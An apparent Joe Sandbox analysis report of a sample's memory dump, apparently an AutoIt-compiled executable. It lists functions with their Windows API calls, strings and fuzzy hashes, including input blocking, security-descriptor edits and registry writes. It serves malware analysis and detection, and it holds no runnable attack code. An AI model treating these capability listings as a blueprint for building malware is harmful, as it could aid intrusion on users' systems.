Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 15097454d037fffe52403947aa3aa88bff2a8185e43341a3ff019ad27f7656ff
Instruction ID: 0d04ebe54bdd74f41b2a9d8fe1856e587b5b06ae0793439f4337a4e35233ea2b
Opcode Fuzzy Hash: 15097454d037fffe52403947aa3aa88bff2a8185e43341a3ff019ad27f7656ff
Instruction Fuzzy Hash: A631D374951219ABCB21DF68DC897DCBBB8BF08310F5051EAE81CA7260EB309F818F54

Function 005BC2A2 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 127COMMON

Download Yara Rule

Strings

/, xrefs: 005BC36C

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID:
String ID: /
API String ID: 0-2043925204
Opcode ID: 49b992e0b8ef24af04b0e667421069dd6ec849845ec972ec263df10a1f56c81a
Instruction ID: a22534281a1e611183abfe489914d6ddb9a2d3f16b0c832ddb9617850fc41d44
Opcode Fuzzy Hash: 49b992e0b8ef24af04b0e667421069dd6ec849845ec972ec263df10a1f56c81a
Instruction Fuzzy Hash: CC413676900219ABCB209FB9CC89EFB7FB8FB84315F504669F905C7180E670AE818B54

Function 005F68EE Relevance: 3.1, APIs: 2, Instructions: 57fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 005F6918
FindClose.KERNEL32(00000000), ref: 005F6961

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Find$CloseFileFirst
String ID:
API String ID: 2295610775-0
Opcode ID: 38e6808836587552e98863dcc7c69283f5786fcf258d39f178130cf87c71f693
Instruction ID: d00de2560d95c3d859a66426b993c06ce130d6b8ee7e37b5a885ee3a74dee6a4
Opcode Fuzzy Hash: 38e6808836587552e98863dcc7c69283f5786fcf258d39f178130cf87c71f693
Instruction Fuzzy Hash: 3011D0316042059FD710DF29D488A2ABBE1FF88328F14C699E9698F3A2C774EC05CB90

Function 005FEAA2 Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 005FEABD

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: aada066cbea5a4e4438703fc5fa98ea8bd19390e965f4c5d31f9f02c3b631435
Instruction ID: 4eefc893c6963d8f414f2e0335adf8c65cc2a0532491af5fc749678e325baac3
Opcode Fuzzy Hash: aada066cbea5a4e4438703fc5fa98ea8bd19390e965f4c5d31f9f02c3b631435
Instruction Fuzzy Hash: A7E01A312002059FD710EF5AD809E9ABFE9BF98760F008416FD49D7361DA74A8408BA0

Function 005A09D5 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000209E1,005A03EE), ref: 005A09DA

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: ca18e8a811150e7d80627374ed1773f5bed48ac27516b12ca2c97ef2e4a22842
Instruction ID: bbc8ae2edeed20caf3cc2372155c9f458b761bacf2bc33ff3dd3c15d0f362175
Opcode Fuzzy Hash: ca18e8a811150e7d80627374ed1773f5bed48ac27516b12ca2c97ef2e4a22842
Instruction Fuzzy Hash:

Function 00602ADE Relevance: 77.5, APIs: 40, Strings: 4, Instructions: 486filecommemoryCOMMON

Download Yara Rule

APIs

DeleteObject.GDI32(00000000), ref: 00602B30
DeleteObject.GDI32(00000000), ref: 00602B43
DestroyWindow.USER32 ref: 00602B52
GetDesktopWindow.USER32 ref: 00602B6D
GetWindowRect.USER32(00000000), ref: 00602B74
SetRect.USER32(?,00000000,00000000,00000007,00000002), ref: 00602CA3
AdjustWindowRectEx.USER32(?,88C00000,00000000,?), ref: 00602CB1
CreateWindowExW.USER32(?,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602CF8
GetClientRect.USER32(00000000,?), ref: 00602D04
CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00602D40
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602D62
GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602D75
GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602D80
GlobalLock.KERNEL32(00000000), ref: 00602D89
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602D98
GlobalUnlock.KERNEL32(00000000), ref: 00602DA1
CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602DA8
GlobalFree.KERNEL32(00000000), ref: 00602DB3
CreateStreamOnHGlobal.OLE32(00000000,00000001,?,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602DC5
OleLoadPicture.OLEAUT32(?,00000000,00000000,0061FC38,00000000), ref: 00602DDB
GlobalFree.KERNEL32(00000000), ref: 00602DEB
CopyImage.USER32(00000007,00000000,00000000,00000000,00002000), ref: 00602E11
SendMessageW.USER32(00000000,00000172,00000000,00000007), ref: 00602E30
SetWindowPos.USER32(00000000,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00602E52
ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 0060303F

Strings

, xrefs: 00602FC5
DISPLAY, xrefs: 00602EA2
static, xrefs: 00602D3A, 00602E91
AutoIt v3, xrefs: 00602CF2

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
String ID: $AutoIt v3$DISPLAY$static
API String ID: 2211948467-2373415609
Opcode ID: 336bbb5b53e3087645a009400c29f8ebf3e8a1a3afc9960572f21c9fc3562be0
Instruction ID: f381747acf72381b336baf800c0ead7dd7a13281d4f2df21b3a6bf42b3d0d0ae
Opcode Fuzzy Hash: 336bbb5b53e3087645a009400c29f8ebf3e8a1a3afc9960572f21c9fc3562be0
Instruction Fuzzy Hash: 2B029B71540206AFDB14DF64CC9DEAE7BBAFF49721F048159F915AB2A0DB70AD01CB60

Function 00602711 Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 330windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000), ref: 0060273E
SystemParametersInfoW.USER32(00000030,00000000,?,00000000), ref: 0060286A
SetRect.USER32(?,00000000,00000000,0000012C,?), ref: 006028A9
AdjustWindowRectEx.USER32(?,88C00000,00000000,00000008), ref: 006028B9
CreateWindowExW.USER32(00000008,AutoIt v3,?,88C00000,000000FF,?,?,?,00000000,00000000,00000000), ref: 00602900
GetClientRect.USER32(00000000,?), ref: 0060290C
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000), ref: 00602955
CreateDCW.GDI32(DISPLAY,00000000,00000000,00000000), ref: 00602964
GetStockObject.GDI32(00000011), ref: 00602974
SelectObject.GDI32(00000000,00000000), ref: 00602978
GetTextFaceW.GDI32(00000000,00000040,?,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?), ref: 00602988
GetDeviceCaps.GDI32(00000000,0000005A), ref: 00602991
DeleteDC.GDI32(00000000), ref: 0060299A
CreateFontW.GDI32(00000000,00000000,00000000,00000000,00000258,00000000,00000000,00000000,00000001,00000004,00000000,00000002,00000000,?), ref: 006029C6
SendMessageW.USER32(00000030,00000000,00000001), ref: 006029DD
CreateWindowExW.USER32(00000200,msctls_progress32,00000000,50000001,?,-0000001D,00000104,00000014,00000000,00000000,00000000), ref: 00602A1D
SendMessageW.USER32(00000000,00000401,00000000,_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{), ref: 00602A31
SendMessageW.USER32(00000404,00000001,00000000), ref: 00602A42
CreateWindowExW.USER32(00000000,static,?,50000000,?,00000041,00000500,-00000027,00000000,00000000,00000000), ref: 00602A77
GetStockObject.GDI32(00000011), ref: 00602A82
SendMessageW.USER32(00000030,00000000,?,50000000), ref: 00602A8D
ShowWindow.USER32(00000004,?,50000000,?,00000004,00000500,-00000017,00000000,00000000,00000000,?,88C00000,000000FF,?,?,?), ref: 00602A97

Strings

msctls_progress32, xrefs: 00602A13
DISPLAY, xrefs: 0060295A
_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{, xrefs: 00602A1F
static, xrefs: 0060294F, 00602A71
AutoIt v3, xrefs: 006028F8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{$msctls_progress32$static
API String ID: 2910397461-2119349891
Opcode ID: b728457ef9cae1f251076b8a479330e6c61f6952304bf4ca8cf911fa88260f4d
Instruction ID: 27a286a4a9d208ba85d776b2f4df0fe4552b3443fbf65e1dac61e4e5be42f440
Opcode Fuzzy Hash: b728457ef9cae1f251076b8a479330e6c61f6952304bf4ca8cf911fa88260f4d
Instruction Fuzzy Hash: B1B14B71A40215AFEB14DF68CC5AFAE7BAAFB49721F048115F914EB290D770AD40CBA0

Function 005F4ADF Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 191COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 005F4AED
GetDriveTypeW.KERNEL32(?,0061CB68,?,\\.\,0061CC08), ref: 005F4BCA
SetErrorMode.KERNEL32(00000000,0061CB68,?,\\.\,0061CC08), ref: 005F4D36

Strings

CDROM, xrefs: 005F4BFB
RAMDisk, xrefs: 005F4BF4
RAID, xrefs: 005F4CBB
PhysicalDrive, xrefs: 005F4B76
1394, xrefs: 005F4C9F
FileBackedVirtual, xrefs: 005F4CEC
Virtual, xrefs: 005F4CE5
SSD, xrefs: 005F4C4A
iSCSI, xrefs: 005F4CC2
ATA, xrefs: 005F4C98
Network, xrefs: 005F4C02
SCSI, xrefs: 005F4C8A
SATA, xrefs: 005F4CD0
\\.\, xrefs: 005F4B3F
Fibre, xrefs: 005F4CAD
USB, xrefs: 005F4CB4
ATAPI, xrefs: 005F4C91
Unknown, xrefs: 005F4BED, 005F4C83
Removable, xrefs: 005F4C10, 005F4C15
MMC, xrefs: 005F4CDE
SSA, xrefs: 005F4CA6
Fixed, xrefs: 005F4C09
SAS, xrefs: 005F4CC9

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 5f902f955e1a22cf06eade9d060ea4300f21be388e8a05bd645fdcc5aea3dbc1
Instruction ID: 12fcf78ef2015195c4e039090e4fda64252ce1c34780eb085abfbf0b77c01b8a
Opcode Fuzzy Hash: 5f902f955e1a22cf06eade9d060ea4300f21be388e8a05bd645fdcc5aea3dbc1
Instruction Fuzzy Hash: C561D33064120EDBCB04EF24C9869BE7FB2BF85710B249815F906AB652DB39DD41DF62

Function 00610241 Relevance: 35.4, APIs: 7, Strings: 13, Instructions: 391windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 006102E5
_wcslen.LIBCMT ref: 0061031F
_wcslen.LIBCMT ref: 00610389
_wcslen.LIBCMT ref: 006103F1
_wcslen.LIBCMT ref: 00610475
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 006104C5
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00610504

Part of subcall function 0059F9F2: _wcslen.LIBCMT ref: 0059F9FD

Part of subcall function 005E223F: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 005E2258
Part of subcall function 005E223F: SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 005E228A

Strings

SELECTALL, xrefs: 00610515
FINDITEM, xrefs: 00610627
GETSUBITEMCOUNT, xrefs: 00610384, 0061039F
DESELECT, xrefs: 0061059C
GETSELECTEDCOUNT, xrefs: 00610470, 0061048B
SELECT, xrefs: 00610548
VIEWCHANGE, xrefs: 00610675
GETITEMCOUNT, xrefs: 00610316, 00610337
ISSELECTED, xrefs: 006104DD
GETSELECTED, xrefs: 006105E1
GETTEXT, xrefs: 006103EC, 00610407
SELECTCLEAR, xrefs: 0061052D
SELECTINVERT, xrefs: 0061057E

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: _wcslen$MessageSend$BuffCharUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 1103490817-719923060
Opcode ID: e89d43011f051d94e76141365d0a0480ea6833583640943a1ab9c639c0b3ba15
Instruction ID: 24e0cff061e312a517099bc9dee2a77db8056b0aa35d518036a3d0caec42d805
Opcode Fuzzy Hash: e89d43011f051d94e76141365d0a0480ea6833583640943a1ab9c639c0b3ba15
Instruction Fuzzy Hash: 42E1A2312082429FDB14EF24C5918AABBE7BFC8714F18495DF896AB391D770ED85CB81

Function 00598891 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00598968
GetSystemMetrics.USER32(00000007), ref: 00598970
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 0059899B
GetSystemMetrics.USER32(00000008), ref: 005989A3
GetSystemMetrics.USER32(00000004), ref: 005989C8
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 005989E5
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 005989F5
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00598A28
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00598A3C
GetClientRect.USER32(00000000,000000FF), ref: 00598A5A
GetStockObject.GDI32(00000011), ref: 00598A76
SendMessageW.USER32(00000000,00000030,00000000), ref: 00598A81

Part of subcall function 0059912D: GetCursorPos.USER32(?), ref: 00599141
Part of subcall function 0059912D: ScreenToClient.USER32(00000000,?), ref: 0059915E
Part of subcall function 0059912D: GetAsyncKeyState.USER32(00000001), ref: 00599183
Part of subcall function 0059912D: GetAsyncKeyState.USER32(00000002), ref: 0059919D

SetTimer.USER32(00000000,00000000,00000028,005990FC), ref: 00598AA8

Strings

AutoIt v3 GUI, xrefs: 00598A20

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 19549d7ec327fbaef3c7a3461dd00f8e3380c6595efae9ad4310aedf4fb437ab
Instruction ID: 17f59fb1ef7be6cb46d42ce3d69d82b4d5a373580b9c93f075e099bd2d762936
Opcode Fuzzy Hash: 19549d7ec327fbaef3c7a3461dd00f8e3380c6595efae9ad4310aedf4fb437ab
Instruction Fuzzy Hash: C3B16E71A4020A9FDF14DF68CC45BEE3BB6FB49325F14412AFA15AB290DB74E841CB51

Function 005E0D8B Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 005E10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 005E1114
Part of subcall function 005E10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,005E0B9B,?,?,?), ref: 005E1120
Part of subcall function 005E10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,005E0B9B,?,?,?), ref: 005E112F
Part of subcall function 005E10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,005E0B9B,?,?,?), ref: 005E1136
Part of subcall function 005E10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 005E114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 005E0DF5
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 005E0E29
GetLengthSid.ADVAPI32(?), ref: 005E0E40
GetAce.ADVAPI32(?,00000000,?), ref: 005E0E7A
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 005E0E96
GetLengthSid.ADVAPI32(?), ref: 005E0EAD
GetProcessHeap.KERNEL32(00000008,00000008), ref: 005E0EB5
HeapAlloc.KERNEL32(00000000), ref: 005E0EBC
GetLengthSid.ADVAPI32(?,00000008,?), ref: 005E0EDD
CopySid.ADVAPI32(00000000), ref: 005E0EE4
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 005E0F13
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 005E0F35
SetUserObjectSecurity.USER32(?,00000004,?), ref: 005E0F47
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E0F6E
HeapFree.KERNEL32(00000000), ref: 005E0F75
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E0F7E
HeapFree.KERNEL32(00000000), ref: 005E0F85
GetProcessHeap.KERNEL32(00000000,00000000), ref: 005E0F8E
HeapFree.KERNEL32(00000000), ref: 005E0F95
GetProcessHeap.KERNEL32(00000000,?), ref: 005E0FA1
HeapFree.KERNEL32(00000000), ref: 005E0FA8

Part of subcall function 005E1193: GetProcessHeap.KERNEL32(00000008,005E0BB1,?,00000000,?,005E0BB1,?), ref: 005E11A1
Part of subcall function 005E1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,005E0BB1,?), ref: 005E11A8
Part of subcall function 005E1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,005E0BB1,?), ref: 005E11B7

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 7f765c48342243fb6a6938db30a0a6b321cd1f8ec22da0ba4586f3aec47c3a34
Instruction ID: 3423612f6a34c26a4e008be23dc2c3fc0281981510971cf38a1458eb52cf53fc
Opcode Fuzzy Hash: 7f765c48342243fb6a6938db30a0a6b321cd1f8ec22da0ba4586f3aec47c3a34
Instruction Fuzzy Hash: 5571CE7290024AABDF24CFA5DC49FEEBBB9BF08311F089115F9A8E6190D7719D54CB60

Function 0060C3B7 Relevance: 30.2, APIs: 11, Strings: 6, Instructions: 495registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0060C4BD
RegCreateKeyExW.ADVAPI32(?,?,00000000,0061CC08,00000000,?,00000000,?,?), ref: 0060C544
RegCloseKey.ADVAPI32(00000000,00000000,00000000), ref: 0060C5A4
_wcslen.LIBCMT ref: 0060C5F4
_wcslen.LIBCMT ref: 0060C66F
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000001,?,?), ref: 0060C6B2
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000007,?,?), ref: 0060C7C1
RegSetValueExW.ADVAPI32(00000001,?,00000000,0000000B,?,00000008), ref: 0060C84D
RegCloseKey.ADVAPI32(?), ref: 0060C881
RegCloseKey.ADVAPI32(00000000), ref: 0060C88E
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000003,00000000,00000000), ref: 0060C960

Strings

REG_DWORD, xrefs: 0060C804
REG_MULTI_SZ, xrefs: 0060C6F5
REG_SZ, xrefs: 0060C644
REG_BINARY, xrefs: 0060C913
REG_QWORD, xrefs: 0060C8C3
REG_EXPAND_SZ, xrefs: 0060C5CD

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Value$Close$_wcslen$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 9721498-966354055
